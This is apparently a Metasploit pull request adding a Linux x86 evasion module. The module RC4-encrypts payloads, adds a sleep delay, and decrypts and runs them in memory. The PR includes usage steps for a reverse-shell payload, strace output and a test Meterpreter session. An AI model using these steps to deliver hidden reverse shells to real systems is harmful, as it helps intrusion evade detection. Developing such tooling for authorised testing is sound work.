adding RC4 packer x86, rc4 decrypt routine and sleep evasion routine

[litemars]

Description

This PR introduces an x86 Linux payload packer that encrypts the generated payload with RC4, prepends an optional sleep-based delay (nanosleep), and decrypts/executes the payload at runtime via a compact precompiled stub.

What’s included

• x86 RC4 packer (Evasion Linux Module)
• x86 sleep evasion prepend (Mixin)
• x86 RC4 decryption stub (Mixin)

### How to use it - BASIC

• use evasion/linux/x86_rc4_packer
• set payload linux/x86/shell_reverse_tcp
• set LHOST x.x.x.x
• run

Optional

• set SLEEP_TIME x

[dledda-r7]

┌──(kali㉿kali)-[~/Public]
└─$ strace ./metsrv.x86.rc4.elf 
execve("./metsrv.x86.rc4.elf", ["./metsrv.x86.rc4.elf"], 0x7ffeb1fa18f0 /* 57 vars */) = 0
[ Process PID=123778 runs in 32 bit mode. ]
nanosleep({tv_sec=1, tv_nsec=0}, NULL)  = 0
mmap(NULL, 321, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xf7fad000
memfd_create("", MFD_CLOEXEC)           = 3
write(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\2\0\3\0\1\0\0\0T\200\4\0104\0\0\0"..., 207) = 207
execve("/proc/self/fd/////3", NULL, NULL) = 0
socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3

msf evasion(linux/x86_rc4_packer) > 
[*] Sending stage (1062760 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:40816) at 2026-02-27 07:08:47 -0500

msf evasion(linux/x86_rc4_packer) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer     : kali
OS           : Debian  (Linux 6.18.5+kali-amd64)
Architecture : x64
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux
meterpreter > 

[adfoster-r7]

Release Notes

Adds a new module evasion/linux/x86/rc4_packer that encrypts the generated payload with RC4, prepends an optional sleep-based delay (nanosleep), and decrypts/executes the payload at runtime via a compact precompiled stub.